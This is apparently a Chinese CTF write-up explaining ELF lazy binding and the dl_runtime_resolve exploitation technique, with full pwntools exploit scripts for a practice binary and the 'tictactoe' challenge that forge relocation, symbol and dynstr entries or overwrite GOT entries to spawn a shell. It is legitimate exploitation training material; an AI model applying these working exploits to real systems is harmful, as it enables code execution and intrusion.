PWN January 03, 2020

dl_runtime_resolve总结

Words count 43k Reading time 40 mins. Read count 0

一、前置知识:

程序:hhh

常规思路,先检查再分析逻辑:

image.png

image.png

image.png

很简单,就只有堆栈不可执行的保护,一个write函数,还有一个read函数栈溢出(0x24,0x80)。

一想到这里,思路就是栈迁移用write先泄露libc_start_main的真实地址,再onegadget即可getshell,但是今天要学习的是不用泄露就可getshell的做法:dl_runtime_resolve

做题前先了解下前置知识:随便找个程序:666分析,看到第一次调用puts函数。

image.png

查看内存可知,就是push 0的地址,接着push 0x601008又jmp 7ffff7dee870,查看0x601008地址内存:

image.png

1
2
3
4
5
GOT表的内容
GOT[0]--> 0x601000:0x0000000000600e28 ->.dynamic的地址
GOT[1]--> 0x601008:0x00007ffff7ffe168 ->link_map 此处包含链接器的标识信息
GOT[2]--> 0x601010:0x00007ffff7dee870 ->_dl_runtime_resolve 动态链接器中的入口点
GOT[3]--> 0x601018:0x00000000004004a6 -><puts@plt+6>__gmon_start__开始地址

执行了_dl_runtime_resolve(link_map, reloc_arg)函数,它能实现把真实地址写到got表中~

在此之前,先看一张图了解延迟绑定:

img

这个图第一次调用和第二次调用的不同对比。

image.png

这是在link_map中的数据,可以看到在178处有个0x600e28的.dynamic地址,.dynamic段的结构很经典,它的结构如下:

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

​ 包含的信息有:

  • 依赖于哪些动态库
  • 动态符号节信息
  • 动态字符串节信息

image.png

这是在ida中的动态节

image.png

也可以用readelf -d ./666查看

我们重点关注下

1
2
3
0x0000000000000006 (SYMTAB)             0x4002b8
0x0000000000000005 (STRTAB) 0x400360
0x0000000000000017 (JMPREL) 0x4003f8

在ida中的样子:

image.png

Elf32_sym<偏移st_name,0,0,0x12…..>,<>里面的就是对应的参数

image.png

image.png

Elf32_Rel <got表地址,info>,<>里面就是参数

一个一个地看看:

strtab—–>.dynstr(动态字符串表),可以从dynsym的第一个参数偏移st_name得到

symtab—–>.dynsym(动态符号表,用来保存与动态链接相关的导入导出符号,不包括模块内部的符号,而 .symtab 则保存所有符号,包括 .dynsym 中的符号,因此一般来说,.symtab的内容多一点)

这里有一点需要注意的是.dynsym是运行时所需的,ELF 文件中 export/import 的符号信息全在这里。但是.symtab节中存储的信息是编译时的符号信息。

.dynstr节包含了动态链接的字符串。这个节以\x00作为开始和结尾,中间每个字符串也以\x00间隔。

我们主要关注动态符号.dynsym中的两个成员

  • st_name, 该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。
  • st_value,如果这个符号被导出,这个符号保存着对应的虚拟地址。

jmprel—–>.rel.plt

.rel.plt 包含了需要重定位的函数的信息,使用如下的结构,需要区分的是.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位

1
2
3
4
5
6
7
8
9
10
11
typedef struct {
Elf32_Addr r_offset;//指向对应got表的指针
Elf32_Word r_info;//r_info>>8后得到一个下标,对应此导入符号在.dynsym中的下标
} Elf32_Rel;
//32 位程序只使用 Elf32_Rel
//64 位程序只使用 Elf32_Rela
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
Elf32_Sword r_addend;
} Elf32_Rela;

好的,可以回到dl_runtime_resolve(link_map,reloc_arg)

这里的reloc_arg就是函数在.rel.plt中的偏移,就是之前push 0中的0

那么我们可以知道puts函数在.rel.plt中的偏移为0(0x601080就是.rel.plt的开始地址)查看下:

image.png

接着就需要分析_dl_runtime_resolve(link_map, reloc_arg)到底干了什么,我们gdb跟进,发现在 _dl_runtime_resolve中又调用了 _dl_fixup函数:

image.png

有可疑的_dl_fixup函数,不知道这个是干嘛的,于是向大佬学习一波,发现是绑定got真实地址的关键!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

再看看,通过重定位表项Elf32_Rel的指针,得到对应函数的r_info,r_info >> 8作为.dynsym的下标(这里puts是1),求出当前函数的符号表项Elf32_Sym的指针:

image.png

image.png

利用Elf32_Sym的指针得到对应的st_name,.dynstr + st_name即为符号名字符串指针

在动态链接库查找这个函数,并且把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针,由此puts的got表就被写上了真实的地址

赋值给GOT表后,把程序流程返回给puts

最核心的利用:
利用fix函数,伪造reloc_arg,也就是伪造一个很大的.rel.pltoffset,使得加上去之后的地址指向我们可以控制的地方(fake_rel)

回到最初那题,基本利用思路:

1、栈迁移到bss中

2、构造fake_rel实现函数调用

3、构造fake_dynsym寻找dynstr中的”system\x00”字符

4、成功执行system

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#coding=utf8
from pwn import *
context.log_level='debug'
local = 1
elf = ELF('./hhh')
if local:
p = process('./hhh')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')

bss = elf.bss()
leave_ret = 0x080483d8
PLT = 0x8048310
rel_plt = 0x80482CC
elf_dynsym = 0x80481CC
elf_dynstr = 0x804823C
stack_addr = bss + 0x300
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']

payload = 'a'*0x24
payload += p32(stack_addr)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(stack_addr)
payload += p32(100)
p.recvuntil("input your name!\n")
p.sendline(payload)

#伪造dynsym地址:
fake_dynsym = stack_addr + 28
#hack_rel占用8位,那么payload中就有4*5 + 2*4=28位
align = 0x10 - ((fake_dynsym-elf_dynsym) & 0xf)
#((fake_dynsym-elf_dynsym) & 0xf)相当于除0x10后取余数,因为高位的数都能被0x10整除)
fake_dynsym = fake_dynsym + align
#因为dynsym结构体大小为0x10,这里就是补齐了,使其能被0x10整除

#伪造rel地址:
hack_rel = stack_addr + 20
main_got = elf.got['__libc_start_main']
index_dynsym_addr = (fake_dynsym - elf_dynsym)/0x10#能整除了,搞到它在dynsym中的下标值
r_info = (index_dynsym_addr<<8) | 0x7 #下标值和末尾的7组合还原成那个info模式
hack_rel_can = p32(main_got) + p32(r_info)#ida中也能看到,是rel的两个参数
#配置参数,main_got是为了得到libc_base,执行完了dl_runtime_resolve,会把system的真实地址填到main_got指针,也相当于改了got表~,r_info是得到system的libc偏移地址,从fix函数出来就会得到system的真实地址
index_offset = hack_rel - rel_plt#stack_addr + 28是要放hack_reld的地址
st_name = (fake_dynsym + 0x10) - elf_dynstr
#这里加0x10是因为下面的fake_dynsym的参数占用16位,才到system字符串的位置
fake_dynsym_can = p32(st_name) + p32(0) + p32(0) + p32(0x12)
#配置参数

payload = 'aaaa'#栈迁移要pop的ebp
payload += p32(PLT)
payload += p32(index_offset)#通过偏移调用函数
payload += 'aaaa'#下一条将要返回的指令的地址
payload += p32(stack_addr + 64)#函数参数,填到64处
payload += hack_rel_can #hack_rel的参数(占用8位)
payload += 'a'*align #因为align最大为16,这里就当作16位
payload += fake_dynsym_can #fake_dynsym的参数(占用16位)
payload += 'system\x00'
payload += 'a'*(64-len(payload))#填充字符,为了到64的位置
payload += '/bin/sh\x00'
p.sendline(payload)

p.interactive()

在gdb动态调试看下分布:

image.png

image.png

完美~

最后检验下:

image.png

以上就是我对dl_runtime_reslove的总结,这种利用还是很不错的,直接一把过去,不用泄露libc~同时也对动态链接有了新的认识和理解,一举两得。

听说有个好用的工具,roputils,试了下,然而我用了get不到shell,辣鸡东西,毁我青春~不用

题目:tictactoe

1
2
3
4
5
6
7
8
king@ubuntu:~/桌面/Hackme$ checksec tictactoe
[*] '/home/king/\xe6\xa1\x8c\xe9\x9d\xa2/Hackme/tictactoe'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
king@ubuntu:~/桌面/Hackme$

canary保护和堆栈不可执行~看看ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
int __cdecl main()
{
signed int v0; // eax
int v1; // eax
int fd; // ST14_4
signed int i; // [esp+0h] [ebp-118h]
ssize_t v5; // [esp+8h] [ebp-110h]
char buf[256]; // [esp+Ch] [ebp-10Ch]
unsigned int v7; // [esp+10Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
setbuf(stdout, 0);
fclose(stderr);
fwrite("Thanks MatthewStell for the AI, https://gist.github.com/MatthewSteel/3158579\n", 1u, 0x4Du, stderr);
sub_80486C7(" ____ ____ __ __ __ __\n"
" / __ \\ / __ \\ \\ \\ / / \\ \\ / /\n"
"| | | | | | | | \\ V / \\ V /\n"
"| | | | | | | | > < > <\n"
"| |__| | | |__| | / . \\ / . \\\n"
" \\____/ \\____/ /_/ \\_\\ /_/ \\_\\\n"
"\n"
"\n"
"\n");
sub_80486C7("Welcome to use AlphaToe");
sub_80486C7("Try to beat my A.I. system");
printf("Computer: O, You: %c\nPlay (1)st or (2)nd? ", byte_804B04C);
if ( sub_804871C() % 2 == 1 )
v0 = 1;
else
v0 = -1;
dword_804B048 = v0;
for ( i = 0; i <= 8 && !sub_80487F6(); ++i )
{
if ( dword_804B048 == -1 )
{
sub_80489C0();//电脑下棋
}
else
{
sub_8048762();
sub_8048A4B();//我们下棋,漏洞在这里
}
dword_804B048 = -dword_804B048;//一人一次
}
v1 = sub_80487F6();
if ( v1 )
{
if ( v1 == 1 )
{
sub_8048762();
sub_80486C7("You lose. :(");
}
else if ( v1 == -1 )//很明显要跳转到这里才有flag,得找漏洞
{
sub_80486C7("You win. Inconceivable!");
fd = open("flag_simple", 0);
v5 = read(fd, buf, 0x100u);
if ( fd <= 0 || v5 <= 0 )
{
sub_80486C7("Can not read flag! Pls contact admin");
}
else
{
buf[v5] = 0;
printf("Here is your flag: %s\n", buf);
sub_80486C7("You need a shell to get another flag");
}
exit(0);
}
}
else
{
sub_80486C7("Draw!......");
}
memset(&dword_804B048, 0, 0x18u);
puts("You sucks!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int sub_8048A4B()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("\nInput move (9 to change flavor): ");
v1 = sub_804871C();//输入函数
if ( v1 == 9 )
{
read(0, &buf, 4u);
byte_804B04C = buf;//换棋
sub_8048A4B();
}
else
{
*(v1 + 0x804B056) = byte_804B04C;//将输入进行赋值,数组下标溢出,v1可以为负数,byte_804B04C是我们的v1=9的输入,而v1相当于下标偏移,这里就可以改写puts的got为cat_flag的地址。
if ( sub_80486F0(v1) )
*(v1 + 0x804B04D) = -1;
}
return __readgsdword(0x14u) ^ v3;

image.png

而且由于前面的地址相同,所以只需要写末2位即可。

这里为了验证方便,分别在0x08048A8A和0x08048A9E的位置下断点,动态调试看看是否改成功了。

image.png

修改成功,直接再随便输入一个值即可退出getshell,那么exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding=utf8
from pwn import *
context.log_level='debug'
local = 0
elf = ELF('./tictactoe')
if local:
p = process('./tictactoe')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7714)
libc = ELF('./libc-2.23.so.i386')
cat_flag = 0x8048C46
def change(addr,offset):
p.recvuntil("move (9 to change flavor): ")
p.send('9')
#gdb.attach(p,'b *0x08048A8A')
p.send(addr)
p.recvuntil("move (9 to change flavor): ")
p.send(offset)

p.recvuntil("Play (1)st or (2)nd? ")
p.send('1')
change('\x46',' -50')
change('\x8C',' -49')

p.send('0')
p.interactive()

检验下:

image.png

这是第一种方法,我们尝试用getshell的方法去做:

这里介绍下dl_runtime_resolve:利用fake_dynstr实现system的调用。

由ida可知:

image.png

当游戏结束时,调用memset,参数放在0x804B048处,那么利用fake_dynstr实现system调用,再把参数$0写入0x804B048,即可getshell,这里有个坑点,就是每一次轮到机器人时,0x804B048会变成负数,解决方法是统一在奇数位改~

image.png

0x804AF54存第一个参数标记,0x804AF58存第二个参数即dynstr的地址,那么我们只要改0x804AF58这个指向dynstr的指针即可。

image.png

那么我们就要构造出fake_dynstr表,让system字符串的偏移也是0x44就好了,因为ida咩有system字符串,所以可以自己找找,或者自己写一个到某一个bss地址上(前提是能写),这里先找找先

image.png

找到了现成的直接用,0x804a00c - 0x44 = 0x8049fc8,那么直接改dynstr表地址为这个地址,就可以了,这样偏移为0x44的地方就是我们的system的地方,前面的地址相同,只需要覆盖两位即可,第一轮先填0,好让机会再次把握在我们手中,制造出和局的场面,则exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding=utf8
from pwn import *
context.log_level='debug'
local = 1
elf = ELF('./tictactoe')
if local:
p = process('./tictactoe')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7714)
libc = ELF('./libc-2.23.so.i386')
dynstr = 0x0804af58
system_str = 0x0804a00c
fake_dynstr = 0x08049fc8
player = 0x804b048
bss = elf.bss()
fake_addr = bss + 0x100

def change(string,addr):
offset = addr - 0x804B056
p.recvuntil("move (9 to change flavor): ")
p.sendline('9')
p.send(string)
p.recvuntil("move (9 to change flavor): ")
#gdb.attach(p,'b *0x8048AAE')
p.send(str(offset))

p.recvuntil("Play (1)st or (2)nd? ")
p.sendline('1')
change('\x00',player)#0,解释下这句有什么用,是为了使最后0x804B048为正,因为0x804B048在正负之间不断跳变,而我们填也是在正数时才填,最后要是正数区域才是显示$0,所以这里相当于缓冲的作用。
change('\x24',player)#2
change('\xc8',dynstr)#1
change('\x30',player + 1)#4
change('\x9f',dynstr + 1)#3
#为了退出循环,再玩4次
change('\x00',fake_addr)
change('\x00',fake_addr)
change('\x00',fake_addr)
change('\x00',fake_addr)
p.interactive()

验收下:

image.png

总结

这里dl_runtime_resolve的运用,改dynstr表,就要改指向此表的指针,然后构造相同的偏移量~实现趁机fake调用,很棒的操作。

0%